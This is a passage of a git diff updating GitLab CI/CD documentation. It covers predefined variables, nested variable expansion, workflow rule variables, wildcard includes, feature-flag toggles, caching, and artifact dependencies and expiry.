Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments. +The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) +video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) +working example project. It explains how multiple levels of group CI/CD variables +can be combined with environment-scoped project variables for complex configuration +of application builds or deployments. The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page. diff --git a/doc/ci/variables/img/override_value_via_manual_pipeline_output.png b/doc/ci/variables/img/override_value_via_manual_pipeline_output.png Binary files differdeleted file mode 100644 index 2d4c4d24520..00000000000 --- a/doc/ci/variables/img/override_value_via_manual_pipeline_output.png +++ /dev/null diff --git a/doc/ci/variables/img/override_variable_manual_pipeline.png b/doc/ci/variables/img/override_variable_manual_pipeline.png Binary files differdeleted file mode 100644 index 2b242466297..00000000000 --- a/doc/ci/variables/img/override_variable_manual_pipeline.png +++ /dev/null diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index 9d598c43ef0..5ceab9c0ff3 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Predefined variables reference +# Predefined variables reference **(FREE)** Predefined [CI/CD variables](README.md) are available in every GitLab CI/CD pipeline. @@ -23,6 +23,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu | `CI` | all | 0.4 | Available for all jobs executed in CI/CD. `true` when available. | | `CI_API_V4_URL` | 11.7 | all | The GitLab API v4 root URL. | | `CI_BUILDS_DIR` | all | 11.10 | The top-level directory where builds are executed. | +| `CI_COMMIT_AUTHOR` | 13.11 | all | The author of the commit in `Name <email>` format. | | `CI_COMMIT_BEFORE_SHA` | 11.2 | all | The previous latest commit present on a branch. Is always `0000000000000000000000000000000000000000` in pipelines for merge requests. | | `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Available in branch pipelines, including pipelines for the default branch. Not available in merge request pipelines or tag pipelines. | | `CI_COMMIT_DESCRIPTION` | 10.8 | all | The description of the commit. If the title is shorter than 100 characters, the message without the first line. | @@ -59,7 +60,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu | `CI_JOB_NAME` | 9.0 | 0.5 | The name of the job. | | `CI_JOB_STAGE` | 9.0 | 0.5 | The name of the job's stage. | | `CI_JOB_STATUS` | all | 13.5 | The status of the job as each runner stage is executed. Use with [`after_script`](../yaml/README.md#after_script). Can be `success`, `failed`, or `canceled`. | -| `CI_JOB_TOKEN` | 9.0 | 1.2 | A token to authenticate with [certain API endpoints](../../api/README.md#gitlab-ci-job-token) or download [dependent repositories](../../user/project/new_ci_build_permissions_model.md#dependent-repositories). The token is valid as long as the job is running. | +| `CI_JOB_TOKEN` | 9.0 | 1.2 | A token to authenticate with [certain API endpoints](../../api/README.md#gitlab-cicd-job-token). The token is valid as long as the job is running. | | `CI_JOB_URL` | 11.1 | 0.5 | The job details URL. | | `CI_JOB_STARTED_AT` | 13.10 | all | The UTC datetime when a job started, in [ISO 8601](https://tools.ietf.org/html/rfc3339#appendix-A) format. | | `CI_KUBERNETES_ACTIVE` | 13.0 | all | Only available if the pipeline has a Kubernetes cluster available for deployments. `true` when available. | diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index 16c02b3482b..3e1518447d6 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -28,14 +28,14 @@ There are two places defined variables can be used. On the: | `environment:name` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `resource_group` | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | | `include` | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. <br/><br/>Predefined project variables are supported: `GITLAB_FEATURES`, `CI_DEFAULT_BRANCH`, and all variables that start with `CI_PROJECT_` (for example `CI_PROJECT_NAME`). | -| `variables` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | +| `variables` | yes | GitLab/Runner | The variable expansion is first made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab, and then any unrecognized or unavailable variables are expanded by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism). | | `image` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | | `services:[]` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | | `services:[]:name` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | | `cache:key` | yes | Runner | The variable expansion is made by GitLab Runner's [internal variable expansion mechanism](#gitlab-runner-internal-variable-expansion-mechanism) | | `artifacts:name` | yes | Runner | The variable expansion is made by GitLab Runner's shell environment | | `script`, `before_script`, `after_script` | yes | Script execution shell | The variable expansion is made by the [execution shell environment](#execution-shell-environment) | -| `only:variables:[]`, `except:variables:[]` | no | n/a | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | +| `only:variables:[]`, `except:variables:[]`, `rules:if` | no | n/a | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- Variables that are based on the environment's name (`CI_ENVIRONMENT_NAME`, `CI_ENVIRONMENT_SLUG`).<br/>- Any other variables related to environment (currently only `CI_ENVIRONMENT_URL`).<br/>- [Persisted variables](#persisted-variables). | ### `config.toml` file @@ -61,6 +61,54 @@ The expanded part needs to be in a form of `$variable`, or `${variable}` or `%va Each form is handled in the same way, no matter which OS/shell handles the job, because the expansion is done in GitLab before any runner gets the job. +#### Nested variable expansion + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48627) in GitLab 13.10. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It can be enabled or disabled for a single project. +> - It's disabled on GitLab.com. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-nested-variable-expansion-feature). **(FREE SELF)** + +GitLab expands job variable values recursively before sending them to the runner. For example: + +```yaml +- BUILD_ROOT_DIR: '${CI_BUILDS_DIR}' +- OUT_PATH: '${BUILD_ROOT_DIR}/out' +- PACKAGE_PATH: '${OUT_PATH}/pkg' +``` + +If nested variable expansion is: + +- **Disabled**: the runner receives `${BUILD_ROOT_DIR}/out/pkg`. This is not a valid path. +- **Enabled**: the runner receives a valid, fully-formed path. For example, if `${CI_BUILDS_DIR}` is `/output`, then `PACKAGE_PATH` would be `/output/out/pkg`. + +References to unavailable variables are left intact. In this case, the runner +[attempts to expand the variable value](#gitlab-runner-internal-variable-expansion-mechanism) at runtime. +For example, a variable like `CI_BUILDS_DIR` is known by the runner only at runtime. + +##### Enabling the nested variable expansion feature **(FREE SELF)** + +This feature comes with the `:variable_inside_variable` feature flag disabled by default. + +To enable this feature, ask a GitLab administrator with [Rails console access](../../administration/feature_flags.md#how-to-enable-and-disable-features-behind-flags) to run the +following command: + +```ruby +# For the instance +Feature.enable(:variable_inside_variable) +# For a single project +Feature.enable(:variable_inside_variable, Project.find(<project id>)) +``` + +To disable it: + +```ruby +# For the instance +Feature.disable(:variable_inside_variable) +# For a single project +Feature.disable(:variable_inside_variable, Project.find(<project id>)) +``` + ### GitLab Runner internal variable expansion mechanism - Supported: project/group variables, `.gitlab-ci.yml` variables, `config.toml` variables, and @@ -70,16 +118,17 @@ because the expansion is done in GitLab before any runner gets the job. The runner uses Go's `os.Expand()` method for variable expansion. It means that it handles only variables defined as `$variable` and `${variable}`. What's also important, is that the expansion is done only once, so nested variables may or may not work, depending on the -ordering of variables definitions. +ordering of variables definitions, and whether [nested variable expansion](#nested-variable-expansion) +is enabled in GitLab. ### Execution shell environment -This is an expansion that takes place during the `script` execution. -How it works depends on the used shell (`bash`, `sh`, `cmd`, PowerShell). For example, if the job's +This is an expansion phase that takes place during the `script` execution. +Its behavior depends on the shell used (`bash`, `sh`, `cmd`, PowerShell). For example, if the job's `script` contains a line `echo $MY_VARIABLE-${MY_VARIABLE_2}`, it should be properly handled by bash/sh (leaving empty strings or some values depending whether the variables were defined or not), but don't work with Windows' `cmd` or PowerShell, since these shells -are using a different variables syntax. +use a different variables syntax. Supported: @@ -88,10 +137,10 @@ Supported: `.gitlab-ci.yml` variables, `config.toml` variables, and variables from triggers and pipeline schedules). - The `script` may also use all variables defined in the lines before. So, for example, if you define a variable `export MY_VARIABLE="test"`: - - In `before_script`, it works in the following lines of `before_script` and + - In `before_script`, it works in the subsequent lines of `before_script` and all lines of the related `script`. - - In `script`, it works in the following lines of `script`. - - In `after_script`, it works in following lines of `after_script`. + - In `script`, it works in the subsequent lines of `script`. + - In `after_script`, it works in subsequent lines of `after_script`. In the case of `after_script` scripts, they can: @@ -99,7 +148,7 @@ In the case of `after_script` scripts, they can: section. - Not use variables defined in `before_script` and `script`. -These restrictions are because `after_script` scripts are executed in a +These restrictions exist because `after_script` scripts are executed in a [separated shell context](../yaml/README.md#after_script). ## Persisted variables diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index 9329748e396..49daa2b17fb 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -92,19 +92,19 @@ These job keywords can be defined inside a `default:` section: - [`tags`](#tags) - [`timeout`](#timeout) -The following example sets the `ruby:2.5` image as the default for all jobs in the pipeline. -The `rspec 2.6` job does not use the default, because it overrides the default with +The following example sets the `ruby:3.0` image as the default for all jobs in the pipeline. +The `rspec 2.7` job does not use the default, because it overrides the default with a job-specific `image:` section: ```yaml default: - image: ruby:2.5 + image: ruby:3.0 rspec: script: bundle exec rspec -rspec 2.6: - image: ruby:2.6 +rspec 2.7: + image: ruby:2.7 script: bundle exec rspec ``` @@ -172,6 +172,7 @@ a preconfigured `workflow: rules` entry. - [`when`](#when): Specify what to do when the `if` rule evaluates to true. - To run a pipeline, set to `always`. - To prevent pipelines from running, set to `never`. +- [`variables`](#workflowrulesvariables): If not defined, uses the [variables defined elsewhere](#variables). When no rules evaluate to true, the pipeline does not run. @@ -222,6 +223,87 @@ request pipelines. If your rules match both branch pipelines and merge request pipelines, [duplicate pipelines](#avoid-duplicate-pipelines) can occur. +#### `workflow:rules:variables` + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294232) in GitLab 13.11. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-workflowrulesvariables). **(CORE ONLY)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +You can use [`variables`](#variables) in `workflow:rules:` to define variables for specific pipeline conditions. + +For example: + +```yaml +variables: + DEPLOY_VARIABLE: "default-deploy" + +workflow: + rules: + - if: $CI_COMMIT_REF_NAME =~ /master/ + variables: + DEPLOY_VARIABLE: "deploy-production" # Override globally-defined DEPLOY_VARIABLE + - if: $CI_COMMIT_REF_NAME =~ /feature/ + variables: + IS_A_FEATURE: "true" # Define a new variable. + - when: always # Run the pipeline in other cases + +job1: + variables: + DEPLOY_VARIABLE: "job1-default-deploy" + rules: + - if: $CI_COMMIT_REF_NAME =~ /master/ + variables: # Override DEPLOY_VARIABLE defined + DEPLOY_VARIABLE: "job1-deploy-production" # at the job level. + - when: on_success # Run the job in other cases + script: + - echo "Run script with $DEPLOY_VARIABLE as an argument" + - echo "Run another script if $IS_A_FEATURE exists" + +job2: + script: + - echo "Run script with $DEPLOY_VARIABLE as an argument" + - echo "Run another script if $IS_A_FEATURE exists" +``` + +When the branch is `master`: + +- job1's `DEPLOY_VARIABLE` is `job1-deploy-production`. +- job2's `DEPLOY_VARIABLE` is `deploy-production`. + +When the branch is `feature`: + +- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`, and `IS_A_FEATURE` is `true`. +- job2's `DEPLOY_VARIABLE` is `default-deploy`, and `IS_A_FEATURE` is `true`. + +When the branch is something else: + +- job1's `DEPLOY_VARIABLE` is `job1-default-deploy`. +- job2's `DEPLOY_VARIABLE` is `default-deploy`. + +##### Enable or disable workflow:rules:variables **(CORE ONLY)** + +rules:variables is under development and not ready for production use. +It is deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:ci_workflow_rules_variables) +``` + +To disable it: + +```ruby +Feature.disable(:ci_workflow_rules_variables) +``` + #### `workflow:rules` templates > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217732) in GitLab 13.0. @@ -395,6 +477,41 @@ include: '.gitlab-ci-production.yml' Use local includes instead of symbolic links. +##### `include:local` with wildcard file paths + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25921) in GitLab 13.11. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to enable it. **(CORE ONLY)** + +You can use wildcard paths (`*`) with `include:local`. + +Example: + +```yaml +include: 'configs/*.yml' +``` + +When the pipeline runs, it adds all `.yml` files in the `configs` folder into the pipeline configuration. + +The wildcard file paths feature is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:ci_wildcard_file_paths) +``` + +To disable it: + +```ruby +Feature.disable(:ci_wildcard_file_paths) +``` + #### `include:file` > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53903) in GitLab 11.7. @@ -512,7 +629,7 @@ Use `image` to specify [a Docker image](../docker/using_docker_images.md#what-is For: -- Usage examples, see [Define `image` and `services` from `.gitlab-ci.yml`](../docker/using_docker_images.md#define-image-and-services-from-gitlab-ciyml). +- Usage examples, see [Define `image` in the `.gitlab-ci.yml` file](../docker/using_docker_images.md#define-image-in-the-gitlab-ciyml-file). - Detailed usage information, refer to [Docker integration](../docker/index.md) documentation. #### `image:name` @@ -529,11 +646,11 @@ For more information, see [Available settings for `image`](../docker/using_docke #### `services` -Use `services` to specify a [service Docker image](../docker/using_docker_images.md#what-is-a-service), linked to a base image specified in [`image`](#image). +Use `services` to specify a [service Docker image](../services/index.md), linked to a base image specified in [`image`](#image). For: -- Usage examples, see [Define `image` and `services` from `.gitlab-ci.yml`](../docker/using_docker_images.md#define-image-and-services-from-gitlab-ciyml). +- Usage examples, see [Define `services` in the `.gitlab-ci.yml` file](../services/index.md#define-services-in-the-gitlab-ciyml-file). - Detailed usage information, refer to [Docker integration](../docker/index.md) documentation. - Example services, see [GitLab CI/CD Services](../services/index.md). @@ -541,25 +658,25 @@ For: An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). -For more information, see [Available settings for `services`](../docker/using_docker_images.md#available-settings-for-services). +For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). ##### `services:alias` An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). -For more information, see [Available settings for `services`](../docker/using_docker_images.md#available-settings-for-services). +For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). ##### `services:entrypoint` An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). -For more information, see [Available settings for `services`](../docker/using_docker_images.md#available-settings-for-services). +For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). ##### `services:command` An [extended Docker configuration option](../docker/using_docker_images.md#extended-docker-configuration-options). -For more information, see [Available settings for `services`](../docker/using_docker_images.md#available-settings-for-services). +For more information, see [Available settings for `services`](../services/index.md#available-settings-for-services). ### `script` @@ -1069,8 +1186,8 @@ job: - when: on_success ``` -- If the pipeline is for a merge request, the job is **not** be added to the pipeline. -- If the pipeline is a scheduled pipeline, the job is **not** be added to the pipeline. +- If the pipeline is for a merge request, the job is **not** added to the pipeline. +- If the pipeline is a scheduled pipeline, the job is **not** added to the pipeline. - In **all other cases**, the job is added to the pipeline, with `when: on_success`. WARNING: @@ -1180,7 +1297,7 @@ expression string per rule, rather than an array of them. Any set of expressions evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction) by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-cicd-variable-expressions). -Unlike variables in [`script`](../variables/README.md#syntax-of-cicd-variables-in-job-scripts) +Unlike variables in [`script`](../variables/README.md#use-cicd-variables-in-job-scripts) sections, variables in rules expressions are always formatted as `$VARIABLE`. `if:` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md) @@ -1357,7 +1474,9 @@ job: Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly link outside it. -You can use glob patterns to match multiple files in any directory in the repository: +You can use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) +patterns to match multiple files in any directory +in the repository: ```yaml job: @@ -1794,7 +1913,8 @@ WARNING: If you use `only:changes` with [only allow merge requests to be merged if the pipeline succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds), you should [also use `only:merge_requests`](#use-onlychanges-with-pipelines-for-merge-requests). Otherwise it may not work as expected. -You can also use glob patterns to match multiple files in either the root directory +You can also use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) +patterns to match multiple files in either the root directory of the repository, or in _any_ directory in the repository. However, they must be wrapped in double quotes or GitLab can't parse them: @@ -1983,6 +2103,10 @@ To disable directed acyclic graphs (DAG), set the limit to `0`. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14311) in GitLab v12.6. +When a job uses `needs`, it no longer downloads all artifacts from previous stages +by default, because jobs with `needs` can start before earlier stages complete. With +`needs` you can only download artifacts from the jobs listed in the `needs:` configuration. + Use `artifacts: true` (default) or `artifacts: false` to control when artifacts are downloaded in jobs that use `needs`. @@ -2145,10 +2269,11 @@ To download artifacts from a job in the current pipeline, use the basic form of #### Optional `needs` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10. -> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-optional-needs). **(FREE SELF)** +> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 13.11. +> - Enabled on GitLab.com. +> - Recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-optional-needs). **(FREE SELF)** WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -2187,10 +2312,10 @@ rspec: #### Enable or disable optional needs **(FREE SELF)** -Optional needs is under development and not ready for production use. It is -deployed behind a feature flag that is **disabled by default**. +Optional needs is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it. +can opt to disable it. To enable it: @@ -2325,8 +2450,8 @@ The valid values of `when` are: 1. `delayed` - [Delay the execution of a job](#whendelayed) for a specified duration. Added in GitLab 11.14. 1. `never`: - - With [`rules`](#rules), don't execute job. - - With [`workflow`](#workflow), don't run pipeline. + - With job [`rules`](#rules), don't execute job. + - With [`workflow:rules`](#workflow), don't run pipeline. In the following example, the script: @@ -2579,9 +2704,9 @@ Use the `action` keyword to specify jobs that prepare, start, or stop environmen | **Value** | **Description** | |-----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------| -| start | Default value. Indicates that job starts the environment. The deployment is created after the job starts. | -| prepare | Indicates that job is only preparing the environment. Does not affect deployments. [Read more about environments](../environments/index.md#prepare-an-environment) | -| stop | Indicates that job stops deployment. See the example below. | +| `start` | Default value. Indicates that job starts the environment. The deployment is created after the job starts. | +| `prepare` | Indicates that the job is only preparing the environment. It does not trigger deployments. [Read more about preparing environments](../environments/index.md#prepare-an-environment-without-creating-a-deployment). | +| `stop` | Indicates that job stops deployment. See the example below. | Take for instance: @@ -2614,7 +2739,7 @@ the GitLab UI to run. Also in the example, `GIT_STRATEGY` is set to `none`. If the `stop_review_app` job is [automatically triggered](../environments/index.md#stopping-an-environment), -the runner won’t try to check out the code after the branch is deleted. +the runner won't try to check out the code after the branch is deleted. The example also overwrites global variables. If your `stop` `environment` job depends on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY` @@ -2630,8 +2755,8 @@ The `stop_review_app` job is **required** to have the following keywords defined - `environment:name` - `environment:action` -Additionally, both jobs should have matching [`rules`](../yaml/README.md#onlyexcept-basic) -or [`only/except`](../yaml/README.md#onlyexcept-basic) configuration. +Additionally, both jobs should have matching [`rules`](#onlyexcept-basic) +or [`only/except`](#onlyexcept-basic) configuration. In the examples above, if the configuration is not identical: @@ -2695,7 +2820,7 @@ To follow progress on support for GitLab-managed clusters, see the #### `environment:deployment_tier` -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27630) in GitLab 13.10. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300741) in GitLab 13.10. Use the `deployment_tier` keyword to specify the tier of the deployment environment: @@ -2759,7 +2884,7 @@ patterns and: - In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later, [`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match). - In GitLab Runner 12.10 and earlier, -[`filepath.Match`](https://pkg.go.dev/path/filepath/#Match). +[`filepath.Match`](https://pkg.go.dev/path/filepath#Match). Cache all files in `binaries` that end in `.apk` and the `.config` file: @@ -2831,13 +2956,11 @@ You can specify a [fallback cache key](#fallback-cache-key) to use if the specif ##### Multiple caches > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32814) in GitLab 13.10. -> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-multiple-caches). **(FREE SELF)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/321877) in GitLab 13.11. +> - Enabled on GitLab.com. +> - Recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-multiple-caches). **(FREE SELF)** You can have a maximum of four caches: @@ -2866,10 +2989,10 @@ the fallback is fetched multiple times if multiple caches are not found. ##### Enable or disable multiple caches **(FREE SELF)** -The multiple caches feature is under development and not ready for production use. -It is deployed behind a feature flag that is **disabled by default**. +The multiple caches feature is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it. +can opt to disable it. To enable it: @@ -3072,98 +3195,87 @@ The artifacts are sent to GitLab after the job finishes. They are available for download in the GitLab UI if the size is not larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd). +By default, jobs in later stages automatically download all the artifacts created +by jobs in earlier stages. You can control artifact download behavior in jobs with +[`dependencies`](#dependencies). + +When using the [`needs`](#artifact-downloads-with-needs) keyword, jobs can only download +artifacts from the jobs defined in the `needs` configuration. + Job artifacts are only collected for successful jobs by default, and artifacts are restored after [caches](#cache). [Read more about artifacts](../pipelines/job_artifacts.md). -#### `artifacts:paths` - -Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly -link outside it. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) -patterns and: - -- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later, -[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match). -- In GitLab Runner 12.10 and earlier, -[`filepath.Match`](https://pkg.go.dev/path/filepath/#Match). +#### `dependencies` -To restrict which jobs a specific job fetches artifacts from, see [dependencies](#dependencies). +By default, all `artifacts` from previous stages +are passed to each job. However, you can use the `dependencies` keyword to +define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all. -Send all files in `binaries` and `.config`: +To use this feature, define `dependencies` in context of the job and pass +a list of all previous jobs the artifacts should be downloaded from. -```yaml -artifacts: - paths: - - binaries/ - - .config -``` +You can define jobs from stages that were executed before the current one. +An error occurs if you define jobs from the current or an upcoming stage. -To disable artifact passing, define the job with empty [dependencies](#dependencies): +To prevent a job from downloading artifacts, define an empty array. -```yaml -job: - stage: build - script: make build - dependencies: [] -``` +When you use `dependencies`, the status of the previous job is not considered. +If a job fails or it's a manual job that isn't triggered, no error occurs. -You may want to create artifacts only for tagged releases to avoid filling the -build server storage with temporary build artifacts. +The following example defines two jobs with artifacts: `build:osx` and +`build:linux`. When the `test:osx` is executed, the artifacts from `build:osx` +are downloaded and extracted in the context of the build. The same happens +for `test:linux` and artifacts from `build:linux`. -Create artifacts only for tags (`default-job` doesn't create artifacts): +The job `deploy` downloads artifacts from all previous jobs because of +the [stage](#stages) precedence: ```yaml -default-job: - script: - - mvn test -U - except: - - tags - -release-job: - script: - - mvn package -U +build:osx: + stage: build + script: make build:osx artifacts: paths: - - target/*.war - only: - - tags -``` - -You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`: + - binaries/ -```yaml -job: +build:linux: + stage: build + script: make build:linux artifacts: paths: - - path/*xyz/* -``` + - binaries/ -#### `artifacts:public` +test:osx: + stage: test + script: make test:osx + dependencies: + - build:osx -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8 -> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. +test:linux: + stage: test + script: make test:linux + dependencies: + - build:linux -Use `artifacts:public` to determine whether the job artifacts should be -publicly available. +deploy: + stage: deploy + script: make deploy +``` -The default for `artifacts:public` is `true` which means that the artifacts in -public pipelines are available for download by anonymous and guest users: +##### When a dependent job fails -```yaml -artifacts: - public: true -``` +> Introduced in GitLab 10.3. -To deny read access for anonymous and guest users to artifacts in public -pipelines, set `artifacts:public` to `false`: +If the artifacts of the job that is set as a dependency are +[expired](#artifactsexpire_in) or +[deleted](../pipelines/job_artifacts.md#delete-job-artifacts), then +the dependent job fails. -```yaml -artifacts: - public: false -``` +You can ask your administrator to +[flip this switch](../../administration/job_artifacts.md#validation-for-dependencies) +and bring back the old behavior. #### `artifacts:exclude` @@ -3176,7 +3288,7 @@ archive. Similar to [`artifacts:paths`](#artifactspaths), `exclude` paths are relative to the project directory. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) or -[`filepath.Match`](https://golang.org/pkg/path/filepath/#Match) patterns. +[`doublestar.PathMatch`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#PathMatch) patterns. For example, to store all files in `binaries/`, but not `*.o` files located in subdirectories of `binaries/`: @@ -3189,9 +3301,68 @@ artifacts: - binaries/**/*.o ``` +Unlike [`artifacts:paths`](#artifactspaths), `exclude` paths are not recursive. To exclude all of the contents of a directory, you can match them explicitly rather than matching the directory itself. + +For example, to store all files in `binaries/` but nothing located in the `temp/` subdirectory: + +```yaml +artifacts: + paths: + - binaries/ + exclude: + - binaries/temp/**/* +``` + Files matched by [`artifacts:untracked`](#artifactsuntracked) can be excluded using `artifacts:exclude` too. +#### `artifacts:expire_in` + +Use `expire_in` to specify how long artifacts are active before they +expire and are deleted. + +The expiration time period begins when the artifact is uploaded and +stored on GitLab. If the expiry time is not defined, it defaults to the +[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration) +(30 days by default). + +To override the expiration date and protect artifacts from being automatically deleted: + +- Use the **Keep** button on the job page. +- Set the value of `expire_in` to `never`. [Available](https://gitlab.com/gitlab-org/gitlab/-/issues/22761) + in GitLab 13.3 and later. + +After their expiry, artifacts are deleted hourly by default (via a cron job), +and are not accessible anymore. + +The value of `expire_in` is an elapsed time in seconds, unless a unit is +provided. Examples of valid values: + +- `'42'` +- `42 seconds` +- `3 mins 4 sec` +- `2 hrs 20 min` +- `2h20min` +- `6 mos 1 day` +- `47 yrs 6 mos and 4d` +- `3 weeks and 2 days` +- `never` + +To expire artifacts 1 week after being uploaded: + +```yaml +job: + artifacts: + expire_in: 1 week +``` + +The latest artifacts for refs are locked against deletion, and kept regardless of +the expiry time. [Introduced 